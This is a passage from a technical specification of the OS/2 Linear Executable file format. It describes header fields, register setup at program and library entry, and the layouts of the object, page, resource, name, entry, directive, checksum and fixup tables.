that each object of the module has a preferred load address specified in the Object Table Reloc Base Addr. If the module's objects can not be loaded at these preferred addresses, then the relocation records that have been retained in the file data will be applied. 00000020h = External fixups for the module have been applied. 00000040h = Reserved for system use. 00000080h = Reserved for system use. 00000100h = Incompatible with PM windowing. 00000200h = Compatible with PM windowing. 00000300h = Uses PM windowing API. 00000400h = Reserved for system use. 00000800h = Reserved for system use. 00001000h = Reserved for system use. 00002000h = Module is not loadable. When the 'Module is not loadable' flag is set, it indicates that either errors were detected at link time or that the module is being incrementally linked and therefore can't be loaded. 00004000h = Reserved for system use. 00038000h = Module type mask. 00000000h = Program module. A module can not contain dynamic links to other modules that have the 'program module' type. 00008000h = Library module. 00018000h = Protected Memory Library module. 00020000h = Physical Device Driver module. 00028000h = Virtual Device Driver module. 40000000h = Per-process Library Termination. The setting of this bit requires the EIP Object # and EIP fields to have valid values. If the EIP Object # and EIP fields are valid and this bit is NOT set, then Global Library Termination is assumed. Setting this bit for an EXE file is invalid. MODULE # PAGES = DD Number of pages in module. This field specifies the number of pages physically contained in this module. In other words, pages containing either enumerated or iterated data, or zero-fill pages that have relocations, not invalid or zero-fill pages implied by the Virtual Size in the Object Table being larger than the number of pages actually in the linear EXE file. These pages are contained in the 'preload pages', 'demand load pages' and 'iterated data pages' sections of the linear EXE module. This is used to determine the size of the page information tables in the linear EXE module. EIP OBJECT # = DD The Object number to which the Entry Address is relative. This specifies the object to which the Entry Address is relative. This must be a nonzero value for a program module to be correctly loaded. A zero value for a library module indicates that no library entry routine exists. If this value is zero, then both the Per-process Library Initialization bit and the Per-process Library Termination bit must be clear in the module flags, or else the loader will fail to load the module. Further, if the Per-process Library Termination bit is set, then the object to which this field refers must be a 32-bit object (i.e., the Big/Default bit must be set in the object flags; see below). EIP = DD Entry Address of module. The Entry Address is the starting address for program modules and the library initialization and Library termination address for library modules. ESP OBJECT # = DD The Object number to which the ESP is relative. This specifies the object to which the starting ESP is relative. This must be a nonzero value for a program module to be correctly loaded. This field is ignored for a library module. ESP = DD Starting stack address of module. The ESP defines the starting stack pointer address for program modules. A zero value in this field indicates that the stack pointer is to be initialized to the highest address/offset in the object. This field is ignored for a library module. PAGE SIZE = DD The size of one page for this system. This field specifies the page size used by the linear EXE format and the system. For the initial version of this linear EXE format the page size is 4Kbytes. (The 4K page size is specified by a value of 4096 in this field.) PAGE OFFSET SHIFT = DD The shift left bits for page offsets. This field gives the number of bit positions to shift left when interpreting the Object Page Table entries' page offset field. This determines the alignment of the page information in the file. For example, a value of 4 in this field would align all pages in the Data Pages and Iterated Pages sections on 16 byte (paragraph) boundaries. A Page Offset Shift of 9 would align all pages on a 512 byte (disk sector) basis. The default value for this field is 12 (decimal), which give a 4096 byte alignment. All other offsets are byte aligned. FIXUP SECTION SIZE = DD Total size of the fixup information in bytes. This includes the following 4 tables: - Fixup Page Table - Fixup Record Table - Import Module name Table - Import Procedure Name Table FIXUP SECTION CHECKSUM = DD Checksum for fixup information. This is a cryptographic checksum covering all of the fixup information. The checksum for the fixup information is kept separate because the fixup data is not always loaded into main memory with the 'loader section'. If the checksum feature is not implemented, then the linker will set these fields to zero. LOADER SECTION SIZE = DD Size of memory resident tables. This is the total size in bytes of the tables required to be memory resident for the module, while the module is in use. This total size includes all tables from the Object Table down to and including the Per-Page Checksum Table. LOADER SECTION CHECKSUM = DD Checksum for loader section. This is a cryptographic checksum covering all of the loader section information. If the checksum feature is not implemented, then the linker will set these fields to zero. OBJECT TABLE OFF = DD Object Table offset. This offset is relative to the beginning of the linear EXE header. # OBJECTS IN MODULE = DD Object Table Count. This defines the number of entries in Object Table. OBJECT PAGE TABLE OFFSET = DD Object Page Table offset This offset is relative to the beginning of the linear EXE header. OBJECT ITER PAGES OFF = DD Object Iterated Pages offset. This offset is relative to the beginning of the EXE file. RESOURCE TABLE OFF = DD Resource Table offset. This offset is relative to the beginning of the linear EXE header. # RESOURCE TABLE ENTRIES = DD Number of entries in Resource Table. RESIDENT NAME TBL OFF = DD Resident Name Table offset. This offset is relative to the beginning of the linear EXE header. ENTRY TBL OFF = DD Entry Table offset. This offset is relative to the beginning of the linear EXE header. MODULE DIRECTIVES OFF = DD Module Format Directives Table offset. This offset is relative to the beginning of the linear EXE header. # MODULE DIRECTIVES = DD Number of Module Format Directives in the Table. This field specifies the number of entries in the Module Format Directives Table. FIXUP PAGE TABLE OFF = DD Fixup Page Table offset. This offset is relative to the beginning of the linear EXE header. FIXUP RECORD TABLE OFF = DD Fixup Record Table Offset This offset is relative to the beginning of the linear EXE header. IMPORT MODULE TBL OFF = DD Import Module Name Table offset. This offset is relative to the beginning of the linear EXE header. # IMPORT MOD ENTRIES = DD The number of entries in the Import Module Name Table. IMPORT PROC TBL OFF = DD Import Procedure Name Table offset. This offset is relative to the beginning of the linear EXE header. PER-PAGE CHECKSUM OFF = DD Per-Page Checksum Table offset. This offset is relative to the beginning of the linear EXE header. DATA PAGES OFFSET = DD Data Pages Offset. This offset is relative to the beginning of the EXE file. # PRELOAD PAGES = DD Number of Preload pages for this module. Note that OS/2 2.0 does not respect the preload of pages as specified in the executable file for performance reasons. NON-RES NAME TBL OFF = DD Non-Resident Name Table offset. This offset is relative to the beginning of the EXE file. NON-RES NAME TBL LEN = DD Number of bytes in the Non-resident name table. NON-RES NAME TBL CKSM = DD Non-Resident Name Table Checksum. This is a cryptographic checksum of the Non-Resident Name Table. AUTO DS OBJECT # = DD The Auto Data Segment Object number. This is the object number for the Auto Data Segment used by 16-bit modules. This field is supported for 16-bit compatibility only and is not used by 32-bit modules. DEBUG INFO OFF = DD Debug Information offset. This offset is relative to the beginning of the linear EXE header. DEBUG INFO LEN = DD Debug Information length. The length of the debug information in bytes. # INSTANCE PRELOAD = DD Instance pages in preload section. The number of instance data pages found in the preload section. # INSTANCE DEMAND = DD Instance pages in demand section. The number of instance data pages found in the demand section. HEAPSIZE = DD Heap size added to the Auto DS Object. The heap size is the number of bytes added to the Auto Data Segment by the loader. This field is supported for 16-bit compatibility only and is not used by 32-bit modules. Program (EXE) startup registers and Library entry registers Program startup registers are defined as follows. EIP = Starting program entry address. ESP = Top of stack address. CS = Code selector for base of linear address space. DS = ES = SS = Data selector for base of linear address space. FS = Data selector of base of Thread Information Block (TIB). GS = 0. EAX = EBX = 0. ECX = EDX = 0. ESI = EDI = 0. EBP = 0. [ESP+0] = Return address to routine which calls DosExit(1,EAX). [ESP+4] = Module handle for program module. [ESP+8] = Reserved. [ESP+12] = Environment data object address. [ESP+16] = Command line linear address in environment data object. Library initialization registers are defined as follows. EIP = Library entry address. ESP = User program stack. CS = Code selector for base of linear address space. DS = ES = SS = Data selector for base of linear address space. Note that a 32-bit Protected Memory Library module will be given a GDT selector in the DS and ES registers (PROTDS) that addresses the full linear address space available to a application. This selector should be saved by the initialization routine. Non-Protected Memory Library modules will receive a selector (FLATDS) that addresses the same amount of linear address space as an application's .EXE can. FS = Data selector of base of Thread Information Block (TIB). GS = 0. EAX = EBX = 0. ECX = EDX = 0. ESI = EDI = 0. EBP = 0. [ESP+0] = Return address to system, (EAX) = return code. [ESP+4] = Module handle for library module. [ESP+8] = 0 (Initialization) Note that a 32-bit library may specify that its entry address is in a 16-bit code object. In this case, the entry registers are the same as for entry to a library using the Segmented EXE format. These are documented elsewhere. This means that a 16-bit library may be relinked to take advantage of the benefits of the Linear EXE format (notably, efficient paging). Library termination registers are defined as follows. EIP = Library entry address. ESP = User program stack. CS = Code selector for base of linear address space. DS = ES = SS = Data selector for base of linear address space. FS = Data selector of base of Thread Information Block (TIB). GS = 0. EAX = EBX = 0. ECX = EDX = 0. ESI = EDI = 0. EBP = 0. [ESP+0] = Return address to system. [ESP+4] = Module handle for library module. [ESP+8] = 1 (Termination) Note that Library termination is not allowed for libraries with 16-bit entries. Object Table The number of entries in the Object Table is given by the # Objects in Module field in the linear EXE header. Entries in the Object Table are numbered starting from one. Each Object Table entry has the following format: +-----+-----+-----+-----+-----+-----+-----+-----+ 00h | VIRTUAL SIZE | RELOC BASE ADDR | +-----+-----+-----+-----+-----+-----+-----+-----+ 08h | OBJECT FLAGS | PAGE TABLE INDEX | +-----+-----+-----+-----+-----+-----+-----+-----+ 10h | # PAGE TABLE ENTRIES | RESERVED | +-----+-----+-----+-----+-----+-----+-----+-----+ VIRTUAL SIZE = DD Virtual memory size. This is the size of the object that will be allocated when the object is loaded. The object's virtual size (rounded up to the page size value) must be greater than or equal to the total size of the pages in the EXE file for the object. This memory size must also be large enough to contain all of the iterated data and uninitialized data in the EXE file. RELOC BASE ADDR = DD Relocation Base Address. The relocation base address the object is currently relocated to. If the internal relocation fixups for the module have been removed, this is the address the object will be allocated at by the loader. OBJECT FLAGS = DW Flag bits for the object. The object flag bits have the following definitions. 0001h = Readable Object. 0002h = Writable Object. 0004h = Executable Object. The readable, writable and executable flags provide support for all possible protections. In systems where all of these protections are not supported, the loader will be responsible for making the appropriate protection match for the system. 0008h = Resource Object. 0010h = Discardable Object. 0020h = Object is Shared. 0040h = Object has Preload Pages. 0080h = Object has Invalid Pages. 0100h = Object has Zero Filled Pages. 0200h = Object is Resident (valid for VDDs, PDDs only). 0300h = Object is Resident & Contiguous (VDDs, PDDs only). 0400h = Object is Resident & 'long-lockable' (VDDs, PDDs only). 0800h = Reserved for system use. 1000h = 16:16 Alias Required (80x86 Specific). 2000h = Big/Default Bit Setting (80x86 Specific). The 'big/default' bit , for data segments, controls the setting of the Big bit in the segment descriptor. (The Big bit, or B-bit, determines whether ESP or SP is used as the stack pointer.) For code segments, this bit controls the setting of the Default bit in the segment descriptor. (The Default bit, or D-bit, determines whether the default word size is 32-bits or 16-bits. It also affects the interpretation of the instruction stream.) 4000h = Object is conforming for code (80x86 Specific). 8000h = Object I/O privilege level (80x86 Specific). Only used for 16:16 Alias Objects. PAGE TABLE INDEX = DD Object Page Table Index. This specifies the number of the first object page table entry for this object. The object page table specifies where in the EXE file a page can be found for a given object and specifies per-page attributes. The object table entries are ordered by logical page in the object table. In other words the object table entries are sorted based on the object page table index value. # PAGE TABLE ENTRIES = DD # of object page table entries for this object. Any logical pages at the end of an object that do not have an entry in the object page table associated with them are handled as zero filled or invalid pages by the loader. When the last logical pages of an object are not specified with an object page table entry, they are treated as either zero filled pages or invalid pages based on the last entry in the object page table for that object. If the last entry was neither a zero filled or invalid page, then the additional pages are treated as zero filled pages. RESERVED = DD Reserved for future use. Must be set to zero. Object Page Table The Object page table provides information about a logical page in an object. A logical page may be an enumerated page, a pseudo page or an iterated page. The structure of the object page table in conjunction with the structure of the object table allows for efficient access of a page when a page fault occurs, while still allowing the physical page data to be located in the preload page, demand load page or iterated data page sections in the linear EXE module. The logical page entries in the Object Page Table are numbered starting from one. The Object Page Table is parallel to the Fixup Page Table as they are both indexed by the logical page number. Each Object Page Table entry has the following format: 63 32 31 16 15 0 +-----+-----+-----+-----+-----+-----+-----+-----+ 00h | PAGE DATA OFFSET | DATA SIZE | FLAGS | +-----+-----+-----+-----+-----+-----+-----+-----+ PAGE DATA OFFSET = DD Offset to the page data in the EXE file. This field, when bit shifted left by the PAGE OFFSET SHIFT from the module header, specifies the offset from the beginning of the Preload Page section of the physical page data in the EXE file that corresponds to this logical page entry. The page data may reside in the Preload Pages, Demand Load Pages or the Iterated Data Pages sections. If the FLAGS field specifies that this is a zero-Filled page then the PAGE DATA OFFSET field will contain a 0. If the logical page is specified as an iterated data page, as indicated by the FLAGS field, then this field specifies the offset into the Iterated Data Pages section. The logical page number (Object Page Table index), is used to index the Fixup Page Table to find any fixups associated with the logical page. DATA SIZE = DW Number of bytes of data for this page. This field specifies the actual number of bytes that represent the page in the file. If the PAGE SIZE field from the module header is greater than the value of this field and the FLAGS field indicates a Legal Physical Page, the remaining bytes are to be filled with zeros. If the FLAGS field indicates an Iterated Data Page, the iterated data records will completely fill out the remainder. FLAGS = DW Attributes specifying characteristics of this logical page. The bit definitions for this word field follow, 00h = Legal Physical Page in the module (Offset from Preload Page Section). 01h = Iterated Data Page (Offset from Iterated Data Pages Section). 02h = Invalid Page (zero). 03h = Zero Filled Page (zero). 04h = Range of Pages. Resource Table The resource table is an array of resource table entries. Each resource table entry contains a type ID and name ID. These entries are used to locate resource objects contained in the Object table. The number of entries in the resource table is defined by the Resource Table Count located in the linear EXE header. More than one resource may be contained within a single object. Resource table entries are in a sorted order, (ascending, by Resource Name ID within the Resource Type ID). This allows the DosGetResource API function to use a binary search when looking up a resource in a 32-bit module instead of the linear search being used in the current 16-bit module. Each resource entry has the following format: +-----+-----+-----+-----+ 00h | TYPE ID | NAME ID | +-----+-----+-----+-----+ 04h | RESOURCE SIZE | +-----+-----+-----+-----+-----+-----+ 08h | OBJECT | OFFSET | +-----+-----+-----+-----+-----+-----+ TYPE ID = DW Resource type ID. The type of resources are: BTMP = Bitmap EMSG = Error message string FONT = Fonts NAME ID = DW An ID used as a name for the resource when referred to. RESOURCE SIZE = DD The number of bytes the resource consists of. OBJECT = DW The number of the object which contains the resource. OFFSET = DD The offset within the specified object where the resource begins. Resident or Non-resident Name Table Entry The resident and non-resident name tables define the ASCII names and ordinal numbers for exported entries in the module. In addition the first entry in the resident name table contains the module name. These tables are used to translate a procedure name string into an ordinal number by searching for a matching name string. The ordinal number is used to locate the entry point information in the entry table. The resident name table is kept resident in system memory while the module is loaded. It is intended to contain the exported entry point names that are frequently dynamicaly linked to by name. Non-resident names are not kept in memory and are read from the EXE file when a dynamic link reference is made. Exported entry point names that are infrequently dynamicaly linked to by name or are commonly referenced by ordinal number should be placed in the non-resident name table. The trade off made for references by name is performance vs memory usage. Import references by name require these tables to be searched to obtain the entry point ordinal number. Import references by ordinal number provide the fastest lookup since the search of these tables is not required. The strings are CASE SENSITIVE and are NOT NULL TERMINATED. Each name table entry has the following format: +-----+-----+-----+-----+ +-----+-----+-----+ 00h | LEN | ASCII STRING . . . | ORDINAL # | +-----+-----+-----+-----+ +-----+-----+-----+ LEN = DB String Length. This defines the length of the string in bytes. A zero length indicates there are no more entries in table. The length of each ascii name string is limited to 127 characters. The high bit in the LEN field (bit 7) is defined as an Overload bit. This bit signifies that additional information is contained in the linear EXE module and will be used in the future for parameter type checking. ASCII STRING = DB ASCII String. This is a variable length string with it's length defined in bytes by the LEN field. The string is case case sensitive and is not null terminated. ORDINAL # = DW Ordinal number. The ordinal number in an ordered index into the entry table for this entry point. Entry Table The entry table contains object and offset information that is used to resolve fixup references to the entry points within this module. Not all entry points in the entry table will be exported, some entry points will only be used within the module. An ordinal number is used to index into the entry table. The entry table entries are numbered starting from one. The list of entries are compressed into 'bundles', where possible. The entries within each bundle are all the same size. A bundle starts with a count field which indicates the number of entries in the bundle. The count is followed by a type field which identifies the bundle format. This provides both a means for saving space as well as a mechanism for extending the bundle types. The type field allows the definition of 256 bundle types. The following bundle types will initially be defined: Unused Entry. 16-bit Entry. 286 Call Gate Entry. 32-bit Entry. Forwarder Entry. The bundled entry table has the following format: +-----+-----+-----+-----+-----+ 00h | CNT |TYPE | BUNDLE INFO . . . +-----+-----+-----+-----+-----+ CNT = DB Number of entries. This is the number of entries in this bundle. A zero value for the number of entries identifies the end of the entry table. There is no further bundle information when the number of entries is zero. In other words the entry table is terminated by a single zero byte. TYPE = DB Bundle type. This defines the bundle type which determines the contents of the BUNDLE INFO. The follow types are defined: 00h = Unused Entry. 01h = 16-bit Entry. 02h = 286 Call Gate Entry. 03h = 32-bit Entry. 04h = Forwarder Entry. 80h = Parameter Typing Information Present. This bit signifies that additional information is contained in the linear EXE module and will be used in the future for parameter type checking. The following is the format for each bundle type: +-----+-----+ 00h | CNT |TYPE | +-----+-----+ CNT = DB Number of entries. This is the number of unused entries to skip. TYPE = DB 0 (Unused Entry) +-----+-----+-----+-----+ 00h | CNT |TYPE | OBJECT | +-----+-----+-----+-----+ 04h |FLAGS| OFFSET | +-----+-----+-----+ 07h | ... | . . . | + + + + CNT = DB Number of entries. This is the number of 16-bit entries in this bundle. The flags and offset value are repeated this number of times. TYPE = DB 1 (16-bit Entry) OBJECT = DW Object number. This is the object number for the entries in this bundle. FLAGS = DB Entry flags. These are the flags for this entry point. They have the following definition. 01h = Exported entry flag. F8h = Parameter word count mask. OFFSET = DW Offset in object. This is the offset in the object for the entry point defined at this ordinal number. +-----+-----+-----+-----+ 00h | CNT |TYPE | OBJECT | +-----+-----+-----+-----+-----+ 04h |FLAGS| OFFSET | CALLGATE | +-----+-----+-----+-----+-----+ 09h | ... | . . . | . . . | + + + + + + CNT = DB Number of entries. This is the number of 286 call gate entries in this bundle. The flags, callgate, and offset value are repeated this number of times. TYPE = DB 2 (286 Call Gate Entry) The 286 Call Gate Entry Point type is needed by the loader only if ring 2 segments are to be supported. 286 Call Gate entries contain 2 extra bytes which are used by the loader to store an LDT callgate selector value. OBJECT = DW Object number. This is the object number for the entries in this bundle. FLAGS = DB Entry flags. These are the flags for this entry point. They have the following definition. 01h = Exported entry flag. F8h = Parameter word count mask. OFFSET = DW Offset in object. This is the offset in the object for the entry point defined at this ordinal number. CALLGATE = DW Callgate selector. The callgate selector is a reserved field used by the loader to store a call gate selector value for references to ring 2 entry points. When a ring 3 reference to a ring 2 entry point is made, the callgate selector with a zero offset is place in the relocation fixup address. The segment number and offset in segment is placed in the LDT callgate. +-----+-----+-----+-----+ 00h | CNT |TYPE | OBJECT | +-----+-----+-----+-----+-----+ 04h |FLAGS| OFFSET | +-----+-----+-----+-----+-----+ 09h | ... | . . . | + + + + + + CNT = DB Number of entries. This is the number of 32-bit entries in this bundle. The flags and offset value are repeated this number of times. TYPE = DB 3 (32-bit Entry) The 32-bit Entry type will only be defined by the linker when the offset in the object can not be specified by a 16-bit offset. OBJECT = DW Object number. This is the object number for the entries in this bundle. FLAGS = DB Entry flags. These are the flags for this entry point. They have the following definition. 01h = Exported entry flag. F8h = Parameter dword count mask. OFFSET = DD Offset in object. This is the offset in the object for the entry point defined at this ordinal number. +-----+-----+-----+-----+ 00h | CNT |TYPE | RESERVED | +-----+-----+-----+-----+-----+-----+-----+ 04h |FLAGS| MOD ORD# | OFFSET / ORDNUM | +-----+-----+-----+-----+-----+-----+-----+ 09h | ... | ... | ... | + + + + + + + + CNT = DB Number of entries. This is the number of forwarder entries in this bundle. The FLAGS, MOD ORD#, and OFFSET/ORDNUM values are repeated this number of times. TYPE = DB 4 (Forwarder Entry) RESERVED = DW 0 This field is reserved for future use. FLAGS = DB Forwarder flags. These are the flags for this entry point. They have the following definition. 01h = Import by ordinal. F7h = Reserved for future use; should be zero. MOD ORD# = DW Module Ordinal Number This is the index into the Import Module Name Table for this forwarder. OFFSET / ORDNUM = DD Procedure Name Offset or Import Ordinal Number If the FLAGS field indicates import by ordinal, then this field is the ordinal number into the Entry Table of the target module, otherwise this field is the offset into the Procedure Names Table of the target module. A Forwarder entry (type = 4) is an entry point whose value is an imported reference. When a load time fixup occurs whose target is a forwarder, the loader obtains the address imported by the forwarder and uses that imported address to resolve the fixup. A forwarder may refer to an entry point in another module which is itself a forwarder, so there can be a chain of forwarders. The loader will traverse the chain until it finds a non-forwarded entry point which terminates the chain , and use this to resolve the original fixup. Circular chains are detected by the loader and result in a load time error. A maximum of 1024 forwarders is allowed in a chain; more than this results in a load time error. Forwarders are useful for merging and recombining API calls into different sets of libraries, while maintaining compatibility with applications. For example, if one wanted to combine MONCALLS, MOUCALLS, and VIOCALLS into a single libraries, one could provide entry points for the three libraries that are forwarders pointing to the common implementation. Module Format Directives Table The Module Format Directives Table is an optional table that allows additional options to be specified. It also allows for the extension of the linear EXE format by allowing additional tables of information to be added to the linear EXE module without affecting the format of the linear EXE header. Likewise, module format directives provide a place in the linear EXE module for 'temporary tables' of information, such as incremental linking information and statistic information gathered on the module. When there are no module format directives for a linear EXE module, the fields in the linear EXE header referencing the module format directives table are zero. Each Module Format Directive Table entry has the following format: +-----+-----+-----+-----+-----+-----+----+----+ 00h | DIRECT # | DATA LEN | DATA OFFSET | +-----+-----+-----+-----+-----+-----+----+----+ DIRECT # = DW Directive number. The directive number specifies the type of directive defined. This can be used to determine the format of the information in the directive data. The following directive numbers have been defined: 8000h = Resident Flag Mask. Directive numbers with this bit set indicate that the directive data is in the resident area and will be kept resident in memory when the module is loaded. 8001h = Verify Record Directive. (Verify record is a resident table.) 0002h = Language Information Directive. (This is a non-resident table.) 0003h = Co-Processor Required Support Table. 0004h = Thread State Initialization Directive. Additional directives can be added as needed in the future, as long as they do not overlap previously defined directive numbers. DATA LEN = DW Directive data length. This specifies the length in byte of the directive data for this directive number. DIRECTIVE OFFSET = DD Directive data offset. This is the offset to the directive data for this directive number. It is relative to beginning of linear EXE header for a resident table, and relative to the beginning of the EXE file for non-resident tables. Verify Record Directive Table The Verify Record Directive Table is an optional table. It maintains a record of the pages in the EXE file that have been fixed up and written back to the original linear EXE module, along with the module dependencies used to perform these fixups. This table provides an efficient means for verifying the virtual addresses required for the fixed up pages when the module is loaded. Each Verify Record entry has the following format: +-----+-----+ 00h |# OF ENTRY | +-----+-----+-----+-----+-----+-----+ 02h | MOD ORD # | VERSION | MOD # OBJ | +-----+-----+-----+-----+-----+-----+ 08h | OBJECT # | BASE ADDR | VIRTUAL | +-----+-----+-----+-----+-----+-----+ 0Eh | . . . | . . . | . . . | + + + + + + + # OF ENTRY = DW Number of module dependencies. This field specifies how many entries there are in the verify record directive table. This is equal to the number of modules referenced by this module. MOD ORD # = DW Ordinal index into the Import Module Name Table. This value is an ordered index in to the Import Module Name Table for the referenced module. VERSION = DW Module Version. This is the version of the referenced module that the fixups were originally performed. This is used to insure the same version of the referenced module is loaded that was fixed up in this module and therefore the fixups are still correct. This requires the version number in a module to be incremented anytime the entry point offsets change. MOD # OBJ = DW Module # of Object Entries. This field is used to identify the number of object verify entries that follow for the referenced module. OBJECT # = DW Object # in Module. This field specifies the object number in the referenced module that is being verified. BASE ADDR = DW Object load base address. This is the address that the object was loaded at when the fixups were performed. VIRTUAL = DW Object virtual address size. This field specifies the total amount of virtual memory required for this object. Per-Page Checksum The Per-Page Checksum table provides space for a cryptographic checksum for each physical page in the EXE file. The checksum table is arranged such that the first entry in the table corresponds to the first logical page of code/data in the EXE file (usually a preload page) and the last entry corresponds to the last logical page in the EXE file (usually a iterated data page). +-----+-----+-----+-----+ Logical Page #1 | CHECKSUM | +-----+-----+-----+-----+ Logical Page #2 | CHECKSUM | +-----+-----+-----+-----+ . . . +-----+-----+-----+-----+ Logical Page #n | CHECKSUM | +-----+-----+-----+-----+ CHECKSUM = DD Cryptographic checksum. Fixup Page Table The Fixup Page Table provides a simple mapping of a logical page number to an offset into the Fixup Record Table for that page. This table is parallel to the Object Page Table, except that there is one additional entry in this table to indicate the end of the Fixup Record Table. The format of each entry is: +-----+-----+-----+-----+ Logical Page #1 | OFFSET FOR PAGE #1 | +-----+-----+-----+-----+ Logical Page #2 | OFFSET FOR PAGE #2 | +-----+-----+-----+-----+ . . . +-----+-----+-----+-----+ Logical Page #n | OFFSET FOR PAGE #n | +-----+-----+-----+-----+ |OFF TO END OF FIXUP REC| This is equal to: +-----+-----+-----+-----+ Offset for page #n + Size of fixups for page #n OFFSET FOR PAGE # = DD Offset for fixup record for this page. This field specifies the offset, from the beginning of the fixup record table, to the first fixup record for this page. OFF TO END OF FIXUP REC = DD Offset to the end of the fixup records. This field specifies the offset following the last fixup record in the fixup record table. This is the last entry in the fixup page table. The fixup records are kept in order by logical page in the fixup record table. This allows the end of each page's fixup records is defined by the offset for the next logical page's fixup records. This last entry provides support of this mechanism for the last page in the fixup page table. Fixup Record Table The Fixup Record Table contains entries for all fixups in the linear EXE module. The fixup records for a logical page are grouped together and kept in sorted order by logical page number. The fixups for each page are further sorted such that all external fixups and internal selector/pointer fixups come before internal non-selector/non-pointer fixups. This allows the loader to ignore internal fixups if the loader is able to load all objects at the addresses specified in the object table. Each relocation record has the following format: +-----+-----+-----+-----+ 00h | SRC |FLAGS|SRCOFF/CNT*| +-----+-----+-----+-----+-----+-----+ 03h/04h | TARGET DATA * | +-----+-----+-----+-----+-----+-----+ | SRCOFF1 @ | . . . | SRCOFFn @ | +-----+-----+---- ----+-----+-----+ * These fields are variable size. @ These fields are optional. SRC = DB Source type. The source type specifies the size and type of the fixup to be performed on the fixup source. The source type is defined as follows: 0Fh = Source mask. 00h = Byte fixup (8-bits). 01h = (undefined). 02h = 16-bit Selector fixup (16-bits). 03h = 16:16 Pointer fixup (32-bits). 04h = (undefined). 05h = 16-bit Offset fixup (16-bits). 06h = 16:32 Pointer fixup (48-bits). 07h = 32-bit Offset fixup (32-bits). 08h = 32-bit Self-relative offset fixup (32-bits). 10h = Fixup to Alias Flag. When the 'Fixup to Alias' Flag is set, the source fixup refers to the 16:16 alias for the object. This is only valid for source types of 2, 3, and 6. For fixups such as this, the linker and loader will be required to perform additional checks such as ensuring that the target offset for this fixup is less than 64K. 20h = Source List Flag. When the 'Source List' Flag is set, the SRCOFF field is compressed to a byte and contains the number of source offsets, and a list of source offsets follows the end of fixup record (after the optional additive value). FLAGS = DB Target Flags. The target flags specify how the target information is interpreted. The target flags are defined as follows: 03h = Fixup target type mask. 00h = Internal reference. 01h = Imported reference by ordinal. 02h = Imported reference by name. 03h = Internal reference via entry table. 04h = Additive Fixup Flag. When set, an additive value trails the fixup record (before the optional source offset list). 08h = Reserved. Must be zero. 10h = 32-bit Target Offset Flag. When set, the target offset is 32-bits, otherwise it is 16-bits. 20h = 32-bit Additive Fixup Flag. When set, the additive value is 32-bits, otherwise it is 16-bits. 40h = 16-bit Object Number/Module Ordinal Flag. When set, the object number or module ordinal number is 16-bits, otherwise it is 8-bits. 80h = 8-bit Ordinal Flag. When set, the ordinal number is 8-bits, otherwise it is 16-bits. SRCOFF = DW/CNT = DB Source offset or source offset list count. This field contains either an offset or a count depending on the Source List Flag. If the Source List Flag is set, a list of source offsets follows the additive field and this field contains the count of the entries in the source offset list. Otherwise, this is the single source offset for the fixup. Source offsets are relative to the beginning of the page where the fixup is to be made. Note that for fixups that cross page boundaries, a separate fixup record is specified for each page. An offset is still used for the 2nd page but it now becomes a negative offset since the fixup originated on the preceding page. (For example, if only the last one byte of a 32-bit address is on the page to be fixed up, then the offset would have a value of -3.) TARGET DATA = Target data for fixup. The format of the TARGET DATA is dependent upon target flags. SRCOFF1 - SRCOFFn = DW[] Source offset list. This list is present if the Source List Flag is set in the Target Flags field. The number of entries in the source offset list is defined in the SRCOFF/CNT field. The source offsets are relative to the beginning of the page where the fixups are to be made. +-----+-----+-----+-----+ 00h | SRC |FLAGS|SRCOFF/CNT*| +-----+-----+-----+-----+-----+-----+ 03h/04h | OBJECT * | TRGOFF * @ | +-----+-----+-----+-----+-----+-----+ | SRCOFF1 @ | . . . | SRCOFFn @ | +-----+-----+---- ----+-----+-----+ * These fields are variable size. @ These fields are optional. OBJECT = D[B|W] Target object number. This field is an index into the current module's Object Table to specify the target Object. It is a Byte value when the '16-bit Object Number/Module Ordinal Flag' bit in the target flags field is clear and a Word value when the bit is set. TRGOFF = D[W|D] Target offset. This field is an offset into the specified target Object. It is not present when the Source Type specifies a 16-bit Selector fixup. It is a Word value when the '32-bit Target Offset Flag' bit in the target flags field is clear and a Dword value when the bit is set. +-----+-----+-----+-----+ 00h | SRC |FLAGS|SRCOFF/CNT*| +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+ 03h/04h | MOD ORD# *| PROCEDURE NAME OFFSET*| ADDITIVE * @ | +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+ | SRCOFF1 @ | . . . | SRCOFFn @ | +-----+-----+---- ----+-----+-----+ * These fields are variable size. @ These fields are optional. MOD ORD # = D[B|W] Ordinal index into the Import Module Name Table. This value is an ordered index in to the Import Module Name Table for the module containing the procedure entry point. It is a Byte value when the '16-bit Object Number/Module Ordinal' Flag bit in the target flags field is clear and a Word value when the bit is set. The loader creates a table of pointers with each pointer in the table corresponds to the modules named in the Import Module Name Table. This value is used by the loader to index into this table created by the loader to locate the referenced module. PROCEDURE NAME OFFSET = D[W|D] Offset into the Import Procedure Name Table. This field is an offset into the Import Procedure Name Table. It is a Word value when the '32-bit Target Offset Flag' bit in the target flags field is clear and a Dword value when the bit is set. ADDITIVE = D[W|D] Additive fixup value. This field exists in the fixup record only when the 'Additive Fixup Flag' bit in the target flags field is set. When the 'Additive Fixup Flag' is clear the fixup record does not contain this field and is immediately followed by the next fixup record (or by the source offset list for this fixup record). This value is added to the address derived from the target entry point. This field is a Word value when the '32-bit Additive Flag' bit in the target flags field is clear and a Dword value when the bit is set. +-----+-----+-----+-----+ 00h | SRC |FLAGS|SRCOFF/CNT*| +-----+-----+-----+-----+-----+-----+-----+-----+ 03h/04h | MOD ORD# *|IMPORT ORD*| ADDITIVE * @ | +-----+-----+-----+-----+-----+-----+-----+-----+ | SRCOFF1 @ | . . . | SRCOFFn @ | +-----+-----+---- ----+-----+-----+ * These fields are variable size. @ These fields are optional. MOD ORD # = D[B|W] Ordinal index into the Import Module Name Table. This value is an ordered index in to the Import Module Name Table for the module containing the procedure entry point. It is a Byte value when the '16-bit Object Number/Module Ordinal' Flag bit in the target flags field is clear and a Word value when the bit is set. The loader creates a table of pointers with each pointer in the table corresponds to the modules named in the Import Module Name Table. This value is used by the loader to index into this table created by the loader to locate the referenced module. IMPORT ORD = D[B|W|D] Imported ordinal number. This is the imported procedure's ordinal number. It is a Byte value when the '8-bit Ordinal' bit in the target flags field is set. Otherwise it is a Word value when the '32-bit Target Offset Flag' bit in the target flags field is clear and a Dword value when the bit is set. ADDITIVE = D[W|D] Additive fixup value. This field exists in the fixup record only when the 'Additive Fixup Flag' bit in the target flags field is set. When the 'Additive Fixup Flag' is clear the fixup record does not contain this field and is immediately followed by the next fixup record (or by the source offset list for this fixup record). This value is added to the address derived from the target entry 